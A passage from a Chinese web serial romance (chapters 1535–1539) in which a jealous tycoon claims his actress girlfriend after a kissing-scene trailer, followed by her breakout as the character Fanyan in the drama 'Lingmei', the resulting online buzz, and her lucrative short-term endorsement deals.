墨澜前脚才走,后脚温栩栩就感觉整个房间的温度都回升了。 她心里那点因为预告片而起的忐忑,此刻在独处的氛围里,发酵成了另一种情绪。 她像只偷了腥的猫,悄无声息地挪到黎云笙身边,在他颈边蹭了蹭,带着点试探,又带着点撒娇的意味。 黎云笙端着水杯,目光落在窗外,对她的亲昵举动置若罔闻。 温栩栩讨了个没趣,却不气馁,又凑过去,用鼻尖顶了顶他的下巴,声音黏黏糊糊的,带着点刻意的软糯:“那个……《灵媒》那场吻戏是借位,真的,百分百借位!秦肆导演都知道的,你要是不信,明天我就给你把他叫来当面对质!还有《掌心宠爱》,里面最亲密的戏份就是拥抱了,真的,我发誓,没有吻戏,就算有,也全是借位,一点都没碰到!” 她一边说,一边偷偷抬眼觑他的脸色,见他眉头微蹙,又赶紧补充:“你不能因为这点小事就生气吃醋啊,多影响你英明神武的形象。” 说到最后,她甚至还有点义正言辞,仿佛自己才是那个受了委屈的。 黎云笙听完,忽然低低地笑了起来。 他的胸膛微微震动,笑声从喉咙深处溢出,低沉悦耳。可温栩栩却觉得,这笑声里没有半分笑意,反而透着一股子寒气。 黎云笙越是这时候笑,温栩栩就越是觉得心里发毛,脊背发凉。 她干咳一声,还想继续解释点什么,为自己那岌岌可危的“清白”再做最后一点努力。 就在这时,黎云笙低下头,温热的呼吸喷洒在她耳廓,带着一种危险的蛊惑。 他在她耳边低喃,声音沙哑磁性:“还记得我说过什么吗?” 温栩栩的心猛地一跳,一种不祥的预感从心底升起。 “我说过,等墨澜走了,我会找你算账。”他的声音很轻,却像羽毛一样,搔刮着她最敏感的神经,“还记不记得?” 温栩栩的唇角抽了抽。 嗯,她真的把这事儿给忘了。 此刻,面对他近在咫尺的俊脸,她只能尴尬地扯了扯唇,挤出一个比哭还难看的笑容。 她伸出手指,小心翼翼地勾住他的衣袖,轻轻摇了摇,像只求饶的小奶猫:“那个……我错了?” 黎云笙看着她这副强忍着笑意、又不得不装出可怜模样的表情,眼底的墨色愈发深沉。他没有说话,只是深深地看了她一眼。 那一眼里,有压抑的醋意,有被撩拨起的火焰,还有一种不容错辨的占有欲。 下一秒,他忽然伸手,扣住了她的后脑。 温栩栩甚至来不及发出一声惊呼,他的吻便铺天盖地地落了下来。 不是温柔的试探,而是带着惩罚意味的攻城略地。他的唇舌强势地撬开她的齿列,攫取着她口中所有的空气和芬芳。 这个吻,带着黎云笙积攒了一晚上的醋意和不满,热烈、霸道,甚至有些粗暴。 温栩栩被他吻得头晕目眩,大脑一片空白,只能发出一声无助的呜咽。她下意识地伸手去推他的胸膛,却只触碰到一片滚烫的、坚硬的肌肉。 他的一只手扣着她的后脑,不让她有丝毫退缩,另一只手则紧紧箍着她的腰,将她整个人都揉进他的怀里。两人之间没有一丝缝隙,紧密得仿佛要融为一体。 温栩栩觉得自己快要窒息了。 她的脸颊因为缺氧而涨得通红,双腿发软,几乎站不住脚。 她所有的挣扎,在他绝对的力量面前,都化作了徒劳。她只能被动地承受着他的吻,感受着他滚烫的体温,和那几乎要将她吞噬的占有欲。 不知过了多久,黎云笙才终于稍稍松开她,给了她一丝喘息的机会。 温栩栩大口大口地呼吸着新鲜空气,胸口剧烈起伏,眼神迷离,唇瓣因为被他反复碾压而变得红肿湿润。 黎云笙的目光,就落在她的唇上,眼底的火焰,烧得更旺了。 他看着她这副被自己亲吻过后,娇艳欲滴、我见犹怜的模样,心中那点因为预告片而起的醋意,非但没有消散,反而更加浓烈了。 他无法想象,如果那天在片场,真的不是借位,而是墨澜真的吻了她,他会做出什么事来。 这个念头,让他再次俯下身,惩罚性地在她红唇上咬了一口。 “嘶……”温栩栩吃痛,眉头一皱,不满地嘟囔了一声。 黎云笙却没再继续,而是将她打横抱起。 温栩栩惊呼一声,下意识地伸手勾住他的脖子,双腿盘上他的腰,像只无尾熊一样挂在他身上。 黎云笙抱着她,几步走到床边,手臂一扬,便将她轻轻丢在了柔软的床榻之上。 “咚”的一声闷响,床垫微微下陷,又迅速回弹,将温栩栩柔软的身体包裹其中。 她还没来得及反应,黎云笙高大的身影便随之覆了上来。 他单膝跪在她身侧,一只手撑在她耳边,另一只手则抚上她的脸颊,指腹轻轻摩挲着她那两片刚刚受过“惩罚”的嘴唇,眼神幽深得像一口古井。 “温栩栩,”他开口,声音沙哑得厉害,带着一种隐忍的欲望,“你知不知道,我有多想把你藏起来?” 藏起来,不让任何人看见。 藏起来,只属于他一个人。 温栩栩被他看得心头一颤,脸颊上的红晕,从耳根一直蔓延到了脖颈。 她看着他眼底翻涌的、毫不掩饰的渴望,心跳不由自主地加快了。 她想说点什么来缓解这令人窒息的气氛,可嘴唇刚一动,就被他俯身,用一个轻柔的吻封住了。 这个吻,不再像刚才那样霸道急切,而是充满了温柔和怜惜。 他像是在对待一件稀世珍宝,用唇舌细细描绘着她的唇形,一点点撬开她的齿列,与她温柔地纠缠。 温栩栩的心,在这一刻彻底软化了。 她放弃了所有的抵抗,抬起双臂,主动环上了他的脖颈,生涩地回应着他的吻。 房间里,温度逐渐升高。 黎云笙的呼吸越来越重,他的手,从她的脸颊,缓缓滑下,落在了她睡衣的领口。 第1535章 继续吗? 他的指尖,隔着薄薄的布料,能清晰地感觉到她肌肤的细腻和温热。他的动作很轻,带着一种询问的意味。 温栩栩的身体,在他指尖触碰的地方,猛地绷紧了。 她闭着眼睛,长长的睫毛不安地颤动着,像两把小刷子,一下下地,刷在黎云笙的心上。 黎云笙的动作,顿了顿。 他抬起头,看着她这副任君采撷的模样,喉结剧烈地滚动了一下。他眼中的火焰,几乎要喷薄而出。 他俯下身,在她耳边,用一种近乎呢喃的声音,沙哑地问:“继续吗?” 温栩栩没有说话,只是将头埋进他的颈窝,用一个更紧的拥抱,作为回答。 这个答案,让黎云笙彻底失控。 他重新吻上她的唇,手上的动作也变得不再迟疑。他解开她睡衣的纽扣,滚烫的掌心,贴上了她细腻光滑的后背。 温栩栩的身体,在他掌心下,猛地战栗了一下。 黎云笙的动作,顿了顿,随即加深了这个吻,用自己所有的温柔和耐心,去安抚她,去引导她。 窗外月色正浓,室内春色无边。 这一夜,温栩栩终于为她之前的“借位”付出了代价。 黎云笙用一种最直接、最亲密的方式,向她宣告着自己的主权,也让她彻底明白,什么才是真正的“亲密戏份”。 第二天,当温栩栩浑身酸痛地从床上醒来时,身边早已没了黎云笙的身影。 她揉着发痛的腰,看着床头柜上他留下的、已经放凉的粥和字条,上面只有三个字:【多吃点。】 她忍不住扶额,哀嚎一声,把自己埋进了被子里。 这哪里是算账,这分明是“秋后算账”! 而黎云笙,此刻正站在落地窗前,看着手机里秦肆发来的消息。 【温栩栩在我这里拍戏,所有亲密戏份我保证绝对借位,这你一定可以放心。】 黎云笙看着那条消息,嘴角勾起一抹淡淡的弧度。 他回了一个字:【嗯。】 只要她还是他的,只要她心里眼里都只有他,那点醋意,也就烟消云散了。 至于昨晚……他觉得,那个“惩罚”的力度,似乎还可以再大一点。 毕竟,他的小爱人记性似乎不怎么好。 …… 秦肆的动作,向来是业内出了名的雷厉风行。他不是那种喜欢拖泥带水的人,更不是那种习惯把所有工作都堆到最后的导演。在剧组拍摄期间,他就已经开启了“边拍边剪”的模式。每天收工后,当别的工作人员都累得倒头就睡时,他却常常在剪辑室里熬着通宵,将当天拍摄的素材一遍遍地过,一遍遍地剪,力求在最短的时间内,将最好的画面呈现出来。 因此,当《灵媒》正式杀青时,这部剧的剪辑工作其实已经完成了大半。 对于其他剧组来说,杀青往往意味着漫长后期的开始,但对于秦肆来说,杀青,只是他将这部作品推向市场的起点。 这世上,若是旁人的剧想在杀青当晚就敲定上星合同,那简直是天方夜谭,难如登天。电视台的排播计划,往往提前半年甚至一年就定好了,哪有那么容易插队? 但偏偏,秦肆不是“旁人”。 他不仅有着“秦家少爷”这层显赫的身份,更有着让业内无数人艳羡的人脉和资源。他在圈内的地位,早已不是单纯的“导演”二字可以概括的,他更像是一位拥有极高话语权的“内容掌舵者”。 而电视台那边,对他更是捧着、供着,对他经手的每一部作品都抱有极高的期待。他们相信,只要是秦肆点头的剧,质量就绝不会差。 更何况,这部剧还有一个谁都无法忽视的筹码,男主角,墨澜。 墨澜是谁? 那可是电影圈的“影帝”级人物,是无数导演争抢的“票房灵药”,别看在黎云笙面前是另一幅模样,那纯是因为两家从另一方面来算应该是世交,关系还不错,墨澜平时接戏,那是出了名的挑剔,一部电影剧本,往往要反复斟酌几个月才会点头。多少顶级制作人想请他拍电视剧,都吃了闭门羹。 可现在呢? 他居然破天荒地接了一部电视剧! 还是秦肆执导的《灵媒》! 这本身就足以在业内掀起一场不小的地震。谁不好奇?谁不期待? 一个国际级大导,一个影帝级男主,这两人凑在一起,这剧要是不爆,那才叫没天理了! 所以,杀青宴当晚,当别人都在推杯换盏、感慨杀青不易时,秦肆却已经不动声色地跟几家一线卫视和头部视频平台的负责人谈妥了合同。 没有冗长的谈判,没有繁琐的流程,甚至没有太多的讨价还价。他只是把剪辑好的几集样片放给他们看,然后,一切就都水到渠成。 《灵媒》,定档。 消息一出,整个影视圈都炸了。 秦肆趁热打铁,趁着杀青宴的热度,直接大范围地官宣了《灵媒》的上映时间。 一时间,各大社交平台、娱乐头条,全都被这部还没开播的剧给刷了屏。 “《灵媒》杀青即定档?秦肆这是要搞大事啊!” “影帝墨澜首触电电视剧,搭档神秘新人温栩栩,这阵容绝了!” “国际大导+影帝,秦肆《灵媒》未播先火,年度最受期待剧集预定!” 舆论瞬间被引爆。 而此刻,最受打击的,莫过于那些正在同期拍摄同类题材的剧组。 某玄幻剧的片场里,导演看着手机上的新闻,手里的保温杯“哐当”一声掉在地上,脸色铁青。 他这部剧,从筹备到开拍,耗时一年多,投资几个亿,演员阵容也不差,可现在才拍了不到三分之一,后期还不知道要磨到猴年马月。 结果呢? 人家秦肆的《灵媒》,从开拍到杀青,再到定档上星,满打满算,还没他一部剧的筹备期长! “不是吧?他们才开拍多久?这就杀青了?还要上星了?”旁边的一个年轻编剧瞪大了眼睛,一脸的不可置信,“这……这都衬得我们像小丑啊!” 整个剧组的士气,瞬间跌到了谷底。 大家看着自己面前堆积如山的剧本和道具,忽然觉得无比的荒谬和可笑。 第1536章 凭什么差距就这么大呢 凭什么? 凭什么差距就这么大呢? 而另一部悬疑剧的剧组里,主演更是气得直接摔了剧本。他也是影帝,也是实力派,为了这部剧,他推掉了所有商演,进组闭关了好几个月,每天顶着大太阳拍戏,风吹日晒,就为了能出一部好作品。 可现在,风头全被《灵媒》抢走了。 只要一上网,满屏都是秦肆和墨澜,还有那个叫温栩栩的新人。 他感觉自己像个跳梁小丑,所有的努力和付出,在人家的“钞能力”和“人脉”面前,显得那么苍白无力,那么可笑。 这就是现实。 这就是娱乐圈。 你不得不承认,有些人,生来就在罗马。 而温栩栩,就是那个运气好到爆棚的人。 谁能想到最开始一个跑龙套的小新人居然还能攀上黎云笙这棵大树? 黎云笙是谁?那是站在金字塔顶端的男人,是翻手为云覆手为雨的资本大佬。他一旦出手,整个局面就完全变了。 他直接把秦肆这位国际大导请来,亲自操刀《灵媒》,从原本的网剧摇身一变,成了上星大剧。秦肆成了总导演,墨澜成了男主角。 国际大导是总导演,影帝是男主角。 这配置,别说是一部电视剧了,就算是电影,也是顶配中的顶配。 换做是谁,不想看? 换做是谁,能不眼红? 一时间,这部剧还没正式播出,就已经成了网友们饭后闲谈的焦点。 不管它是好剧还是烂剧,反正大家的胃口都被吊起来了。 “这剧还没播就闹得这么大,肯定得去看看啊!” “就是,不管好不好看,这阵容也得去尝尝咸淡啊!万一真香了呢?” “温栩栩是谁啊?运气这么好?这是什么天选之女?” 网络上,议论纷纷,众说纷纭。 有人期待,有人嘲讽,有人酸溜溜地等着看笑话。 但无论如何,秦肆的目的达到了。 他就是要让这部剧,在最短的时间内,获得最大的关注度。 他就是要让所有人知道,他秦肆拍的戏,不需要按常理出牌。 三天的时间,说长不长,说短不短。 但对于如今这个信息爆炸的时代,对于秦肆那铺天盖地、无孔不入的宣传攻势来说,三天,足以将一部剧的期待值拉满到极致。 从定档消息放出的那一刻起,网络上就仿佛被投入了一颗深水炸弹。 各大社交平台的开屏广告、热搜榜单、短视频推荐,全都被《灵媒》这三个字和男女主角的海报所占据。 “影帝墨澜首部玄幻电视剧!” “国际名导秦肆执导!” “神秘新人温栩栩究竟何方神圣?” 各种话题层出不穷,热度居高不下。 所有人都在翘首以盼,等待着三天后那个揭开谜底的时刻。 终于,万众瞩目的播出日到来了。 各大平台的预约观看人数早已突破了历史峰值,服务器都在这巨大的流量压力下微微颤抖。 开播前的广告时间,弹幕就已经密密麻麻,网友们都在刷着“坐等开播”、“求求快点开始”、“墨澜哥哥我要为你尖叫”。 然后,剧集开始了。 没有冗长的片头曲,没有拖沓的前情提要。 秦肆一上来,就给了所有观众一个措手不及的惊艳。 映入眼帘的,是一片苍茫无垠的雪原。 天地之间,白茫茫的一片,纯净得没有一丝杂色。 寒风呼啸,卷起漫天的雪花,如鹅毛般纷纷扬扬地洒落。镜头从高空俯瞰,缓缓推进,那种极致的空旷与孤寂感,瞬间就抓住了每一个观众的心。 所有人都屏住了呼吸,被这电影质感的画面所震撼。 然后,画面一转,一个渺小的身影,出现在了这片无尽的白色中央。 她穿着一身纯白的衣裙,那衣服的材质仿佛是用最细腻的雪丝织就,与周围的环境完美地融为一体。她的头发,也是如雪般纯净的白色,长长的发丝在风中狂舞,像是无数条灵动的银蛇。 甚至,连她纤长的睫毛,都仿佛被冰雪染过,呈现出一种剔透的苍白。 这世上,怎会有如此奇异的景象? 一个与冰雪同色的人,就这样突兀地出现在了这片天地之间。 所有的观众都愣住了,他们下意识地屏住了呼吸,目光死死地盯着屏幕中央的那个身影。 然后,他们看到了她的脸。 那是一张怎样的脸啊! 温栩栩饰演的梵颜,在这一刻,彻底惊艳了时光。 她的皮肤,是那种近乎透明的冷白,仿佛最上等的羊脂白玉,吹弹可破,在白雪的映衬下,更显得她整个人清冷孤绝,不似凡间之人。 然而,与这满身的冰雪之色形成最强烈、最刺目对比的,是她的唇。 那是一抹如血般浓烈的殷红。 不,甚至比血更艳,比血更烈。 那双唇,饱满而丰润,这一抹红,瞬间点亮了整幅画面,让这苍茫的雪原,有了最鲜活的生命力。 但最让人无法移开视线的,是她的眼睛。 那双黑亮得如同黑曜石般的眼眸。 在这一片白与一点红的世界里,这双眼睛,黑得纯粹,亮得惊人。 它们不像这冰雪世界的一部分,反而像两颗来自宇宙深处的星辰,深邃、神秘,蕴含着无尽的故事。 镜头开始缓缓推进,一个长达一分多钟的长镜头,一气呵成,没有丝毫剪辑的痕迹。 梵颜动了。 她开始在这片雪原上行走。 每走一步,都仿佛踏在观众的心尖上。 就在她迈出第一步的时候,异变陡生。 一滴殷红的液体,从她的指尖,缓缓滴落。 “滴答。” 那声音,在寂静的雪原上,清晰得惊人。 镜头下移,观众们惊恐地发现,那不是水,而是血。 鲜血,正从她的身体里,缓缓渗出。 她的白衣,开始被染红。 那红色,从一点,慢慢晕染开来,像一朵在雪地里悄然绽放的曼珠沙华,妖艳而致命。 梵颜似乎感觉不到疼痛,她依旧在走。 一步,又一步。 鲜血顺着她的衣角,不断地滴落,在她身后洁白的雪地上,留下了一串触目惊心的血色脚印。 第1537章 涅槃 那画面,美得惊心动魄,又残忍得让人窒息。 她是谁?她为何会在这里?她为何在流血?她要去哪里? 无数的疑问,在观众的心头升起,但此刻,他们却无暇去思考这些。因为,梵颜抬眸了。 就在她抬眸的瞬间,仿佛有一道电流,穿透了屏幕,击中了每一个正在观看的观众。 那双黑亮的眸子,直视着镜头,直视着屏幕前的每一个人。 那眼神,空洞、悲伤,却又带着一种洞悉一切的穿透力。 你仿佛能透过那双眼睛,看到自己的影子,看到自己内心深处最隐秘的角落。 她微微偏了偏头,这个动作,轻柔得像是情人间的呢喃。 可就是这样一个简单的动作,却让所有观众都起了一身的鸡皮疙瘩。 太美了。 美得不像是真实的存在。 那是一种超越了性别的、近乎妖异的美。她像雪原上的精灵,又像从地狱归来的复仇女神。她的美,带着一种致命的吸引力,让人明明知道那是深渊,却还是忍不住想要飞蛾扑火。 整个画面,色彩的运用达到了极致的艺术高度。 极致的白,极致的红,和那一点深邃的黑。 没有多余的色彩,却构建出了一个令人永生难忘的视觉奇观。 鲜血从她的身上缓缓流下,一滴,两滴,三滴……到最后,已经连成了一片。她整个人,仿佛都沐浴在一片血色之中,可她的神情,却依旧平静得像一潭古井。 她站在雪原的中央,身后是一片触目惊心的血红,而她,就是那血红中央,最耀眼的一点白。 这个长镜头,结束得也如同它开始一样,戛然而止。 画面一黑,片名《灵媒》两个血红色的大字,猛地弹出。 整个过程,不过短短一分多钟。 可对于观众来说,却仿佛经历了一个世纪那么漫长。 弹幕,在沉寂了整整一分钟之后,终于像是火山爆发一般,彻底炸了。 “我的天!!!我看到了什么?!” “这真的是人能长出来的颜值吗?!” “梵颜!她叫梵颜!这个名字绝了!” “这哪里是灵媒,这分明是雪地里的妖精!” “救命!我浑身鸡皮疙瘩都起来了!那个偏头杀!我死了!” “这血和雪的对比!这红唇和白衣的冲击!秦肆的审美是懂的!” 几乎是在剧集播出的同一时间,各大社交平台关于“梵颜”的讨论度,瞬间冲到了顶峰。 #绝美梵颜# #梵颜出场# #温栩栩颜值# #灵媒开播# 一个个热搜词条,以惊人的速度,霸占了榜单的前列。 而#绝美梵颜#这个词条,更是以一种摧枯拉朽之势,从最初的几十名,一路飙升,直接冲上了热搜第一! 最让人震惊的是,这并不是花钱买的热搜,这是无数被惊艳到的观众,自发地搜索、讨论、安利,硬生生将这个话题顶到了第一的位置。 足以证明温栩栩在剧中的这个出场这个长镜头带给所有人的震撼,究竟有多大。 在此之前,所有人都在质疑,这个叫温栩栩的新人,凭什么能拿到秦肆的剧?凭什么能和墨澜搭戏? 但在这一刻,所有的质疑,都烟消云散。 人们不再关心她是谁,不再关心她有什么背景。 大家只记住了一个人。 梵颜。 一个美得惊心动魄,美得让人不敢直视的,雪中女神。 秦肆的这一场“美颜暴击”,成功地让所有观众,都记住了温栩栩这个名字,也记住了《灵媒》这部剧。 如果说温栩栩此前参加演员竞技综艺,凭借精湛的演技和那个令人惊艳的女配角,只是在娱乐圈投下了一颗深水炸弹,让业内和观众开始重新审视这位十八线艺人,那么,《灵媒》的播出,则无异于一场席卷整个互联网的超级飓风。 它将温栩栩连同她塑造的“梵颜”这一角色,以一种摧枯拉朽之势彻底推向了流量的巅峰。 一夜之间,温栩栩的名字,不再是小范围讨论的对象,而是成为了全民热议的焦点。 她不再是那个需要靠绯闻来博取版面的十八线,她成了“梵颜”的代名词,成了无数人心中的“白月光”与“朱砂痣”。 而这一切,仅仅源于剧集开篇,那一个长达一分二十秒的、堪称封神的长镜头。 网络热议:全网沸腾,只为一“颜” 《灵媒》开播后的第一个小时,微博服务器一度因为瞬时流量过大而出现短暂的波动。 各大社交平台的热搜榜单,更是被与《灵媒》和温栩栩相关的话题屠版。 论坛和评论区里,早已炸开了锅。 #绝美梵颜# #温栩栩神颜# #灵媒开播# 等词条高悬榜首,热度值以肉眼可见的速度疯狂飙升。 “我宣布,今天开始古装第一美人就是温栩栩的梵颜了!别问,问就是审美巅峰!那个开场长镜头,我截了上百张图,每一帧都可以直接拿来当壁纸!这哪里是演戏,这分明是神明下凡!” 这条微博下,瞬间聚集了数万条评论。 “以前只觉得温栩栩是耐看型的,没想到是宝藏型的!这哪里是耐看,这是三百六十度无死角的惊艳好吗!尤其是那双眼睛,黑得像曜石,亮得像星辰,在一片雪白中,就那么一眼,我魂都没了!” “真的,秦肆导演太会拍了!雪、血、白衣、红唇、黑眸……这几种元素组合在一起,视觉冲击力简直了!我一个从来不看古装剧的直男,刚才看到那一幕,鸡皮疙瘩都起来了!这女人,太妖了!” “我本来是冲着墨澜去看的,结果被女主帅得死死的!以前还说她没演技,现在谁还敢提啊?梵颜出场那一刻的破碎感和坚韧感,演得也太好了吧!这哪是新人,这分明是老戏骨吧!” 一向以挑剔著称的豆瓣小组,这次也对温栩栩展现出了难得的一致好评。 帖子标题:“《灵媒》观后感:关于温栩栩,我们可能误会她太久了。” 评论区热评第一写道:“曾经,我们嘲笑她是只有脸的花瓶,我们以为她的人生,不过是一场笑话。可如今,当她以梵颜的身份,踏着血与雪,一步步走向我们时,我们才惊觉凤凰涅槃从来不是说说而已。温栩栩的美,不再是依附于豪门光环的珠光宝气,而是一种从灵魂深处散发出来的、带着痛感的、惊心动魄的美。梵颜,是她为自己加冕的王冠。” 第1538章 爆火 甚至有网友没看过灵媒,特地询问温栩栩在灵媒之中是什么表现。 “如何评价温栩栩在《灵媒》中的表现?” 高赞回答:“降维打击。这就是教科书级别的‘美貌即正义’,但又不仅仅是美貌。她把梵颜那种‘身在红尘,心向净土’的矛盾感诠释得太好了。尤其是开场,她身负重伤,在雪原上行走,鲜血染红白衣,她却不悲不亢。那种美,是凄艳的,是决绝的,是让人看了之后,会心尖发颤的。温栩栩用实力证明了,真正的演员,不需要喧嚣的宣传,一个眼神,一个镜头,就足以征服观众。” 如果说观众的口碑是温栩栩爆红的基础,那么“网红经济”和“短视频效应”则是将这把火,烧得更旺、更广的助燃剂。 梵颜出场的那个镜头,迅速成为了各大短视频平台的“流量密码”。无数网红和美妆博主敏锐地捕捉到了这一热点,纷纷下场,拍摄“梵颜仿妆”和“复刻雪地血美人”挑战。 一时间,短视频软件上,只要是与“梵颜”沾边的视频,几乎条条爆款。 其中,点赞和播放量最高的,是一个名叫“小棠”的小网红发布的视频。 “小棠”原本只是一个粉丝量只有几千人的普通大学生,平时分享一些校园生活和美妆心得,数据平平。 但这一次,她抓住了机会。 她租赁了城郊一处相似的雪景场地,精心化了梵颜的仿妆,穿上了定制的白色长袍。 虽然她的五官和气质与温栩栩相去甚远,但她胜在用心。 她完美复刻了剧中的场景,在漫天飞雪中,用红色的食用色素模拟鲜血,从指尖滴落,然后缓缓抬头,模仿梵颜那略带茫然又透着坚韧的眼神。 视频发布后,短短几个小时,点赞数就突破了五百万,播放量更是呈几何级数增长。 评论区瞬间被网友攻陷。 “虽然不是本人,但这氛围感绝了!想起了梵颜出场的那一刻,美哭!” “小棠好美!这个仿妆很用心了,尤其是眼神,有内味儿了!” “楼上的,清醒一点,不是小棠美,是梵颜的妆造太强了,是原版太惊艳了!不过小棠也很棒,加油!” 这个视频,直接让“小棠”完成了从“素人”到“小网红”的跨越。 她的粉丝数在短短几天内,从几千暴涨到十几万。 面对突如其来的流量,小棠非常清醒。她没有借机拉踩温栩栩,反而在视频文案和后续的直播中,多次强调:“温栩栩老师演得太好了,梵颜这个角色就是神!我只是沾了角色的光。大家还是去看《灵媒》,去看真正的梵颜,那才是真正的视觉盛宴!” 甚至,她还开启了直播,和粉丝们一起观看《灵媒》。 在直播间里,她像个忠实的粉丝一样,为温栩栩的演技疯狂打call,分析梵颜每一个微表情的含义。 这一举动,不仅成功洗白了她“蹭热度”的嫌疑,反而为《灵媒》贡献了实实在在的收视率。 连温栩栩的铁杆粉丝,看到她如此真诚,也纷纷在评论区留言:“这波蹭得,我们服气!”“欢迎新粉,记得交电费(指充会员追剧)。” 一时间,“跟着网红看灵媒”竟然成为了一种新的网络风尚。 温栩栩的爆红,所带来的效应,远不止于影视圈和网红圈。 梵颜在剧中那身“雪地血美人”的造型,直接带火了一波“国风”和“汉服”经济。 各大汉服商家敏锐地嗅到了商机,迅速推出了“梵颜同款”系列。 那款融合了现代设计感与传统中式审美的白色长袍,一夜之间成为了爆款。网店的预售排期,直接排到了半年后。 “梵颜同款发饰”、“梵颜同款红唇妆容”、“梵颜同款白发造型”……相关的周边产品,销量也一路狂飙。 在漫展和各种国风活动中,“梵颜”成了最受欢迎的cospy角色之一。走在街头,你随处可见化着类似妆容、穿着类似服饰的女孩。 甚至,出现了一种奇特的现象,有些人可能根本不知道“温栩栩”是谁,但你只要提到“那个雪地里的血美人梵颜”,他们立刻就会恍然大悟:“哦!是那个!我知道!那个特别美的梵颜啊,就是她演的啊!” 对于温栩栩个人而言,《灵媒》和梵颜,是她演艺生涯中,真正意义上的里程碑。 《灵媒》之后,一切都不一样了。 人们提起温栩栩,首先想到的,不再是那些狗血的八卦,而是那个踏雪而来、美得惊心动魄的梵颜。 她用实力,为自己撕掉了身上那些不好的标签,重新定义了自己。 各大品牌方的橄榄枝,像雪花一样飞来。 曾经对她避之唯恐不及的时尚资源,如今也向她敞开了大门。 业内,曾经对她冷眼旁观的导演和制片人,如今再见到她,眼神里都多了几分探究和重视。 温栩栩的爆红,如同一场精准引爆的流量核弹,在娱乐圈掀起了持续数月的震荡。 她的名字,她的面孔,她饰演的“梵颜”,成为了那个季度最炙手可热的关键词。 在这种热度的加持下,资本的目光,比任何时候都来得更加直接,也更加赤裸。 无数品牌方的橄榄枝,如同雪片般飞向黎氏娱乐,或者说,是飞向了温栩栩本人。 然而,这看似一派繁荣的景象背后,却暗藏着资本的精明算计与温栩栩的深思熟虑。 对于资本而言,温栩栩是一块诱人的肥肉,但同时也是一把双刃剑。 她的商业价值在这一刻被无限放大,但娱乐圈更新换代的速度太快,今天的顶流,可能就是明天的过气艺人。 许多品牌方虽然眼馋她的流量,却也心存顾虑,他们担心温栩栩只是“昙花一现”,是一阵来得快去得也快的“网红风”。 因此,在初步的接触和试探中,不少资本方虽然开出了高价,却在合约年限上表现得异常谨慎。 他们不愿承担长期风险,更倾向于用短期合约来“试水”。 第1539章 恨得牙痒痒 一旦热度褪去,合约一到期,便可以立刻止损,寻找下一个流量风口。 他们想签的,是一个“现象级”的商品,而不是一个需要长期培育的“潜力股”。 而这种策略,恰恰与温栩栩的想法不谋而合。 此刻的温栩栩,手握《灵媒》带来的巨大红利,正处于个人影响力的巅峰。她比任何人都清楚,这种爆发式的流量红利期是有时限的,必须在最短的时间内,将其转化为最实质的财富积累。 签长期合约?那不是她现在的选择。 她的目标很明确,在流量最值钱的时候,用最高的单价,换取最大的利益,快、准、狠。 于是,双方达成了一种心照不宣的默契。 温栩栩工作室对外宣布,现阶段优先考虑“季度性”、“节日限定”或“单一系列”的短期代言合作。 消息一出,市场反而更加疯狂。 物以稀为贵,这种“限时抢购”般的稀缺感,更是吊足了品牌方的胃口。他们生怕晚一步,这块“肥肉”就被别人抢走了。 在接下来的一个月内,温栩栩的商务通告,以一种令人咋舌的速度和密度,接连官宣。 她没有选择盲目堆砌代言数量,而是精心挑选了数个国民度高、受众群体广泛的品牌,实现了对大众生活场景的全方位覆盖。 她的代言版图,迅速铺开。 某知名乳业品牌,全系列酸奶代言人。广告海报上,她手持酸奶,清甜一笑,瞬间让该品牌当季销量翻了数倍。 零蔗糖气泡水,作为健康生活方式的代表,她成为了这款饮料的“首席清爽官”。那句“无糖也欢愉”的广告语,配合她清新脱俗的形象,成为了年轻人的社交货币。 精品咖啡,国际知名彩妆,口腔护理,轻奢品牌礼服,专业运动品牌,轻奢品牌手表。 这些代言,清一色都是“单人全线”或“单人系列”,且合约期限,全部被精准地卡在了“一季”或“三个月”的短期范围内。 虽然都是短期合约,但温栩栩此刻的商业价值,决定了这些合约的单价,是天文数字。 每一个代言的签约费,都足以让无数一线艺人望尘莫及。而当这十几个涵盖吃、穿、用、行的顶级代言费叠加在一起时,其总额,达到了一个令人咋舌的高度。 在那个季度结束时,一份非官方的Z国高收入艺人排行榜流出,温栩栩的名字,赫然出现在前十的位置。 出道即顶流,收入也稳居行业金字塔尖。 这个新晋的“流量女王”,用实打实的数字,宣告了自己的商业统治力。 而这,仅仅是明面上的收入。 事实上,温栩栩与黎氏娱乐之间,有着一份极为特殊的协议。虽然对外,她依然是黎氏娱乐的签约艺人,享受着公司提供的平台资源和名义庇护,但她的个人工作室拥有极高的独立性。 最关键的是,这些由她个人流量和影响力带来的短期代言费用,黎氏娱乐并不参与抽成。 公司收取的,只是一小部分名义管理费和税费代缴服务费。 这意味着什么?意味着除去必须缴纳的巨额税款后,剩下的天文数字,全部都流入了温栩栩自己的腰包。 据知情人士透露,仅那个季度的短期代言费,在除去税款后,温栩栩的个人所得,就轻松过亿。 这还不包括她后续可能产生的影视版权分红、杂志拍摄费用以及各类隐形福利。 看着账户里那一长串的零,温栩栩的内心,却没有太多波澜。 她坐在自己工作室宽大的落地窗前,俯瞰着脚下如同蝼蚁般穿梭的车流。这座城市,曾经让她感到陌生和冰冷,如今,她终于有了一席之地。 她知道,自己不过是刚好成了那批“混出头”的幸运儿。 娱乐圈,这个被聚光灯和红毯装点得无比梦幻的名利场,其本质却是一台冷酷无情的机器。 人们只看到站在金字塔尖的那几个人,享受着亿万人的追捧,一言一行都能引发潮流,随便拍个广告就能日进斗金。他们看到的是温栩栩今天穿了什么品牌的高定,用了什么颜色的口红,代言费又涨了多少。 但他们看不到,金字塔底,那成千上万的“十八线小透明”。 那些人,可能毕业于顶尖的表演院校,拥有不输明星的才华和样貌,却因为没有机会,没有流量,只能在横店的群演堆里苦苦挣扎。他们可能为了几百块钱的盒饭费而精打细算,为了下个月的房租而发愁。他们的生活,甚至不如小县城里的普通上班族安稳。 在娱乐圈,贫富差距比任何行业都来得更加直接和残酷。 你红,你就是“爷”,资本追着你跑,全世界都对你笑脸相迎,短时间内就能积累普通人几辈子都挣不到的财富。 你不红,你就是“透明人”,连呼吸都是错的,再好的作品也可能被埋没,再努力的付出也可能无人知晓。 温栩栩很清醒,她知道自己此刻的风光,源于流量,也困于流量。她现在要做的,就是在流量的保质期内,为自己筑起一道最坚固的金钱壁垒。 有了钱,就有了底气,有了选择权,有了在这个残酷的世界里,掌握自己命运的资本。 温栩栩凭借梵颜爆火,《灵媒》彻底成为这一年的大爆剧。 …… 空气中弥漫着一股压抑到极点的窒息感。 苏婉坐在宽大而柔软的真皮沙发上,整个人却绷得像一张拉满的弓,每一根神经都在剧烈地颤抖。 